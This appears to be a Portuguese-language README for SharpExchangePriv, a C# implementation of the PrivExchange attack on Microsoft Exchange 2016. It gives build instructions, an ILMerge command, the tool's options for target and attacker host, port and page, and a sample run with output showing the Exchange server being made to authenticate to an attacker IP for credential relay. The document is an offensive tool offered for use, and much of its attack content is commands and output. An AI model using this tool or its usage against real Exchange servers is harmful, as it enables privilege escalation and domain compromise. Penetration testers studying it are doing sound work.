
Uma implementação em C# do PrivExchange por @_dirkjan.
Uma implementação em C# do PrivExchange por @_dirkjan. Créditos ao @g0ldenGunSec, pois me apoiei no código dele.
Foi testado contra Exchange 2016.
SharpExchangePriv foi compilado para .NET 3.5 e é compatível com Visual Studio 2017. Basta abrir o arquivo de solução e compilar o projeto.
Usei o CommandLineParser para analisar os argumentos. Isso criará o arquivo CommandLine.dll, junto com o executável. Você pode simplesmente mesclar o .exe e o .dll em um único arquivo executável:
ILMerge.exe /out:C:\SharpExchangePriv.exe C:\Release\SharpExchangePriv.exe C:\Release\CommandLine.dll
--targetHostDefina o IP do host alvo.
--attackerHostDefina o IP do atacante.
--attackerPortDefina a porta do atacante.
--attackerPageDefina a página do atacante.
--sslAtivar SSL.
--exchangeVersionDefina a versão do Exchange, o padrão é 2016.
--exchangePortDefina a porta alvo do Exchange.
C:\Users\george.brown\Desktop>SharpExchangePriv.exe --attackerHost 192.168.11.132 --targetHost 192.168.11.10
/$$$$$$$ /$$ /$$$$$$$$ /$$
| $$__ $$ |__/ | $$_____/ | $$
| $$ \ $$ /$$$$$$ /$$ /$$ /$$| $$ /$$ /$$ /$$$$$$$| $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$
| $$$$$$$//$$__ $$| $$| $$ /$$/| $$$$$ | $$ /$$/ /$$_____/| $$__ $$ |____ $$| $$__ $$ /$$__ $$ /$$__ $$
| $$____ /| $$ \__ /| $$ \ $$/$$/ | $$__ / \ $$$$/ | $$ | $$ \ $$ /$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$$$
| $$ | $$ | $$ \ $$$/ | $$ >$$ $$ | $$ | $$ | $$ /$$__ $$| $$ | $$| $$ | $$| $$_____ /
| $$ | $$ | $$ \ $/ | $$$$$$$$ /$$/\ $$| $$$$$$$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/ |__/ \_/ |________/|__/ \__/ \_______/|__/ |__/ \_______/|__/ |__/ \____ $$ \_______/
/$$ \ $$
| $$$$$$/
\______ /
@den_n1s
The target URL is https://192.168.11.10:443/EWS/Exchange.asmx
Sent request to exchange server: https://192.168.11.10:443/EWS/Exchange.asmx
HTTP 200 response received, the target Exchange server should be authenticating shortly.
Por favor, reporte quaisquer bugs na página do projeto no Github ou me chame no twitter @den_n1s